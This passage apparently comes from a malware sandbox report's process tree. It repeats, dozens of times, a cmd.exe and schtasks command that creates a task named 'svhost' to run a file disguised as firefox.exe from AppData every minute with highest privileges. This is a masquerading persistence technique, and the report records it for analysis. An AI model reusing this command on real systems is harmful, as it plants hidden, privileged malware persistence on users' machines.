    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2408
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1900
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1668
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3444
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6140
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4216
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2172
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2908
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3240
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5800
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5984
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4092
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5216
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5392
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5304
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5792
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3124
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1664
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1668
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1440
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5508
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4228
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2588
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1928
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2740
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:636
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1004
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5924
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5988
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4412
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5304
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5736
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1712
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2408
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4652
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4280
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4756
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1440
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5000
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5464
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3076
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3576
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:988
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2720
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6064
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3792
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4992
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4292
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1904
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4660
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2480
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2172
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5096
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2632
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2880
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2768
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5088
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5304
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1424
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3584
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3696
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4620
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1440
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2700
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3316
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5000
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5872
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2820
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3676
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5652
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3364
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:872
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5796
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6008
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3988
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2792
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5300
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5636
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5980
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5596
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5960
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5520
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4984
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5736
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3080
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5304
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4764
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5544
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3860
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4688
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1668
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5464
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2108
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2308
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:852
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1548
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2296
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2492
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1048
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4496
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3364
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5092
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5176
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:816
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4564
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3668
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5576
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5300
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3564
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1676
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3900
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3840
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5964
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5752
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5904
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4800
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5504
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3420
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1772
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4892
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5872
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6088
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4980
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5448
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2668
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5712
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5868
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2196
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2824
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3436
  - - C:\Windows\system32\schtasks.exe
